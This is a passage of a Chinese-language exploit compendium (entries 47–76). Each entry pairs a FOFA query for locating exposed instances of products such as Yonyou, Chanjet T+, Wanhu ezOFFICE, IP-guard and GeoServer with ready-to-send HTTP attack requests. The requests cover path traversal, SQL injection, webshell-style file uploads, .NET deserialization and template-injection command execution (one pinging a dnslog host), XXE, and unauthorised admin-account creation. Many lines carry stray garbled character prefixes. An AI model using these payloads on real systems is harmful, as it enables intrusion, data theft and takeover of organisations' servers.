1 C2 N6 O. ]/ b  N3 \: n
6 g0 Z% H+ a: i9 S* W2 t, l47. 用友GRP A++Cloud 政府财务云 任意文件读取
: y) s0 Q5 C% zFOFA：body="/pf/portal/login/css/fonts/style.css"
% c0 _0 R3 ?" z/ N; tGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
% e6 ?1 U2 H8 T$ a- M; F$ y! hHost: x.x.x.x
4 @2 j: g6 j3 [1 uCache-Control: max-age=0
  U! Z2 g7 f& z3 J7 T  UUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: g! D% Q1 Q8 v, A4 OAccept-Language: zh-CN,zh;q=0.9
4 S! f; p& x2 iIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
: T6 U% t% i) T/ _- a/ G: v. }' ?6 e1 o
: Z9 _4 I+ W& S+ Y

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
" N5 N! Q# z/ }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( }6 g$ x4 a4 V. sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* E' O9 B9 J1 t( v% b9 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) \# x8 t0 z* _Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
  h) e4 T1 [. }: n. @------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
6 g9 y7 x5 I( y+ E4 Y5 O1231
  o5 P" b" a& o  o8 C! p; SContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
4 R( W. a; R, q( o------269520967239406871642430066855--
3 K# z  h. I/ i% L$ r# E

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
2 N/ n3 F2 E2 n8 P0 Q9 AFOFA：body="用友U8CRM"

  k4 C( u1 _; B. d$ Y! ~* pPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
7 {3 `9 ~8 @4 }3 |& V5 t; s# EHost: x.x.x.x
4 h5 D1 W$ i7 M+ `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
6 K+ V! L8 h# O3 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

$ A! u4 J( g% J. w, C-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
+ t2 x# c* h& d# y-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
( @) i  B/ H) L2 j2 B
( t% N  A* U' U4 c* lupload
-----------------------------vvv3wdayqv3yppdxvn3w--
1 o8 Y7 S8 W2 {5 P' ], _$ K

http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
% y& F  N$ T% Z# H4 c/ r  ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
: |1 g- p/ J0 u, f% I& H7 nContent-Length: 224
6 P, }. A" q6 c/ n4 t1 YAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
$ }: D$ X  f4 t( V+ o4 A. \8 [) r. Z4 eAccept-Encoding: gzip
1 D: z6 V* E! E' w/ {4 ]* J3 X
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
2 q7 ?3 l% ^8 t' u$ |FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
+ S( T) S, D/ [6 H9 k7 y& g3 sHost: your-ip
! J) ^$ _: ]. uUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
; ~! i% x3 M$ ]; a3 S5 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
; z/ z; {- I" c3 z7 `9 s0 jAccept-Language: zh-CN,zh;q=0.9
Connection: close
/ {+ C. {! G, D
6 t4 [: b- z: J8 z2 Z
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
) \1 Y4 x1 e( [2 EPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
/ u: d% r2 s# I2 _. IUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

! P2 U' Q4 L  F9 n$ }tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
: J7 x- g# P8 u9 K+ Z; q: H
3 ?7 Y. ~, a' Q( G0 s
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
8 g+ l9 u; E/ {6 W, @/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


4 a3 A* y# O' }  S, I54. 畅捷通T+ getstorewarehousebystore 远程代码执行
, b& y4 @6 W- L1 MFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
# I$ P7 u/ R( L9 t: n4 }
+ c) d7 T& S3 d- K) w: y
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
7 [: }; I) l( aHost: x.x.x.x
9 y/ {% j# Y8 I: g8 `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
7 d4 q0 H, L# ^  G7 k6 [9 e" s- ^5 ~0 gContent-Length: 593

  ^' e6 F* O7 l+ P5 U* Y6 {{
"storeID":{
* ?+ Q: A8 R% `  z( L( w "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
+ c4 h; y# g. x2 a* \  "ObjectInstance":{
$ |8 [5 K& i1 ], p, a   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
( M" T  R* E) C1 R    }
' v1 f/ x4 c( p2 i! j  }
4 B1 g3 n7 J( e  }
. J$ q! H$ p& _( p}


5 Z' l1 L  ], l: E第二步，访问如下url
# {0 D, E7 g1 m/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

- I. u7 ~  ?& z
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
7 ~9 A& v7 w) e1 Y( Y3 I% i第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
6 K! {3 @5 V2 t; Y9 i( ~POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
1 ~2 K! `9 [( z; M! S: I$ \Host: x.x.x.x
) x! B$ Q0 S4 M, y! oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
* y9 \1 @2 P0 d" A2 z! \/ e- d
6 Q" a- T* Q: E9 k' d+ z{
; F. _* N* Q7 q$ q: m3 }* y  "storeID":{
4 ~8 k. [2 T) R4 w1 F* {6 M    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
5 F2 R5 `( T) e! F$ k   "MethodName":"Start",
    "ObjectInstance":{
9 Z! {9 y, M8 D5 S       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( ?, x- W. P  j+ ^/ w5 {0 t6 m( ~        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
, ]- z- f; J% N2 G0 H       }
. y7 P- @; x! F6 {1 d) c) n    }
  _# [! g1 F( J: Z) {) }" a. l  }
! a6 X5 w7 S! ]* `}

2 b( \5 i' t) t; a& p% i: S
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
8 V3 G/ Q3 J! BGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
, P* o& G2 _7 J% C( |9 s( y: iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 z+ \. G! C4 U$ \Accept-Charset: utf-8
& ]% N+ I6 R3 e: Q- HAccept-Encoding: gzip, deflate
Connection: close

$ W# ?! _: b0 \
1 `  _$ d$ X' u' n& V58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
1 D: x5 p% k  n* ]" q+ aHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
  t6 \* i4 l+ l: z4 I* L- gAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
5 c4 a4 h% [. S' W. V' D
" L/ I* Q3 }! a' F& E4 Z2 ?- w! }" l
0 l3 o; L$ P% [) {' W, C2 [7 C59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
2 X7 d  V$ k! d. g% P# F- cFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
, ~+ O" A$ H6 Q8 h1 ~User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
3 X% Y: o- k+ ?* y$ W; s( fContent-Length: 1669
Accept: */*
. @7 E  j9 {: k9 E1 U- ^, |* F% XAccept-Language: en
9 z% B4 z) D2 ?8 }Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
. H: s( ]8 [! [- a$ X
PAYLOAD

2 W' J, f# g1 H5 @+ [
7 r) I+ t; [. h+ \60. 百卓Smart管理平台 importexport.php SQL注入
0 `8 O" A/ h: W0 O9 L3 yFOFA：title="Smart管理平台"
. b; m$ _1 ?* [  ^GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
5 M2 H5 Q4 {/ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- j5 X& M9 K$ N- X8 BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 I0 W! O7 [8 p! `! S9 ?& t; Z5 x

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
. \2 `0 y; _, k/ [7 Z' @% zFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
5 n! o8 d1 Y  Y8 b" x' M! R9 w. mHost: x.x.x.x
8 ?* X3 A4 n# c" C$ d1 @3 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 s) D( S8 U# _) V( [Content-Length: 27
7 s6 C8 t* n& UAccept: */*
Accept-Encoding: gzip, deflate
/ O% |) `+ O4 b% AAccept-Language: en
0 Y* C; o" |3 |- xContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
- @# Y9 S$ L* w; I
( U  J# h1 b- M% `/ N
" A# U# g- e/ Z. T# B6 T; P2 Q) k62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
5 E1 |) b8 l0 ^Host: x.x.x.x
3 x, v" ^& s" B- [User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
' q9 z6 p) v$ s9 X9 ~+ @. i1 dConnection: close
Accept: */*
Accept-Language: en
+ F- g- Q" a8 ~4 c! R+ B4 {Accept-Encoding: gzip
4 a' w  o6 ^1 P; P0 h

: l( B3 t; M! i8 ?5 l2 p访问
6 P  }9 J+ N& R' v& R, l9 ]
+ T# I/ w$ y; v3 X- z! n  l! ^GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


9 G+ Y: t; X9 F/ c$ I1 L63. IP-guard WebServer任意文件读取
$ C1 l4 O. L3 W1 R, G) wIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
1 Y/ Q- ^8 p' BPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ B  D; r  j* i5 d, U1 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; K6 u7 Z' D$ XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
0 T- {2 u/ }+ p/ G& k( S
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
8 [+ d3 Y# r+ S7 c3 f
& I+ W+ s8 G5 q+ z! ]- Z1 |64. 捷诚管理信息系统CWSFinanceCommon SQL注入
" ~( k6 A6 J, s& zFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
' l5 N# }1 i  a2 f9 l8 [1 uConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
+ E6 }9 {5 n  w; R  O<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
0 N+ g* A5 [2 ]" |0 n" ~" h    </GetOSpById>
  </soap:Body>
</soap:Envelope>
4 c) W. z/ f1 i: p& m
+ p1 _8 t3 z* D7 _  T
7 g) D% P4 F( ^5 E8 ]! p5 Q65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
" N6 ~& K# w/ w9 fHost:
, V% `4 r. Q- TUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
) F, O/ j- {, m  y/ |Accept: */*
. z& }/ ^& }# M/ O  p" F/ K0 |Connection: close
" t8 c+ \: R! b  ?$ z0 l/ xAccept-Language: en
& N% f) y' K+ p( c8 H" k/ u. Q1 mContent-Length: 174
' Q$ Y: l7 A6 R" o) H' B
4 n! w4 T% X% O% WoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
" D; o% U! m' f2 P
: ?4 |; Z$ k' D( N# t  H0 s# [0 ?
) M! x) O, H* a* w' K0 ^' d66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
  i7 R) g1 [. I0 L) m2 ?) J: T/ B
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
: u3 ^4 A, R6 j8 H7 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
# Q  G* [$ C: a  K' c0 ?Accept-Language: en
Accept-Encoding: gzip
( j5 f1 D1 e3 E1 d1 y* m) I* J, l
) c! r, G! E# l$ h! z
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
# [. y9 L7 l8 C# M! ~POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
3 Y2 w4 Y& N  R! A8 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
: C2 p+ ?/ C& {# G  \$ _6 I; ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
: M  G& B: n- [7 d2 J5 ~$ QAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
- A6 e. f4 E+ }9 m* SContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
1 T- N3 w4 j5 J( }! j
, k/ n' `7 u& c, L" L3 W) a# p--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
6 D! W! P3 a6 O2 s1 x
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
2 d" k  Q( c$ B, a* `6 g# c$ u

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

! T2 [* J1 l' ^68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
8 Q2 R; n6 y( g6 ~; B  d# y. B2 b  @7 aGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
, u, A" ?! Q0 G" g/ B" z! i, y' KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
/ e5 Y! k  E0 H) wAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ p2 M5 u$ N+ d" L% AAccept-Language: zh-CN,zh;q=0.9
9 J4 }  K& J( A% j, Z' cConnection: close


- M% ]3 Y3 U$ D. a* s' g: Q69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
4 u  ^! r; P$ i8 T& n# aGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
8 j0 Z' t- c4 L% w  ?User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
: [) C" O, p; [# G& w+ RConnection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
2 c. y1 I) n3 Y! g4 r1 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 |# X. W% v$ ]7 \0 r6 ]0 Q$ A+ }SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

2 l  Z# {! Q4 Q3 d7 b__VIEWSTATE=PAYLOAD


* N. k' y& l/ R3 t( F2 ]- t  @: F! p71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
( O* p" A' y; H5 v/ fHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
% ^4 @' [6 e5 z% c* mConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 R6 g2 |$ M6 E, A8 X; N) RUpgrade-Insecure-Requests: 1
; {& R* _$ q9 d9 l
! f3 Q. l- z  A! j" j  T  Y6 R( H
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
8 @7 s& E4 D/ A3 w- _' v# }; ~POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
( e2 R; K* ^& L- n$ n! z( s( [! oHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
2 [$ O$ \( r  A+ A* }3 X% x- [; JConnection: close
& Y7 ~; R4 H7 o1 hContent-Length: 583
& x7 V& S  h0 k1 YContent-Type: application/x-www-form-urlencoded
  Q. Y" d1 X- q# QAccept-Encoding: gzip

; {4 T. A- ]  O/ Z$ d' ~* KS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
0 J( |0 z! y# _% P
/ N" Z) p* M$ U$ N
& u. s' c. ?! _" d1 Z% E9 x73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
3 x* l% N& P9 ^6 H: WHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& h! q, Z5 E" U6 q) N( r. LContent-Length: 1981
Accept-Encoding: gzip, deflate
5 w0 O" [. ?% ?1 T7 W' XConnection: close
Content-Type: application/xml
( f7 T# D1 P: \2 i6 }SL-CE-SUID: 3
" H+ A$ m# I0 h! U- E7 I
PAYLOAD

5 ~5 {7 Q2 q% N6 ]  R
9 {2 E& r1 i. t5 v) f  l' k74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

- O+ Y( j! l7 g4 m& h75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
; {1 N) F: |0 L. }% pFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
! K3 W+ Z4 _2 Y6 G$ B2 I- i, HAccept: */*
; f1 T- T" D! {2 P" h( x2 @, ^5 }Accept-Language: en
, i" {$ t" X. `1 iAccept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
+ Q3 ?& W$ ~, s3 I, W2 O- `Host: x.x.x.x
# \7 h9 a2 s1 _/ v8 h- z# P  T
: n- _- |" p6 p0 Q
0 F0 ?. `' P0 T76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
5 K9 s+ u$ X7 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
/ J9 V; b% o0 w; |) l( VContent-Length: 211
! G: s. G+ M& X; O/ }9 _- G8 k( dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 g5 K0 U7 M) ~6 w# J4 vCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
. V# {. O. _1 d" M; ]! }, `1 aUpgrade-Insecure-Requests: 1
  k& W/ r" {) a" z
{
, O7 P% m. b  j( l& C( \# ~"command": "GetFZinfo",
& G: t# \; n' w1 y" t  S- f  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
+ G& [6 m" w$ X1 ?}
& ^- `( B# Q9 s# l. p
* u% c, V$ y: _+ V) h8 q+ q
4 Y, ]' q1 [& V% a; RGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
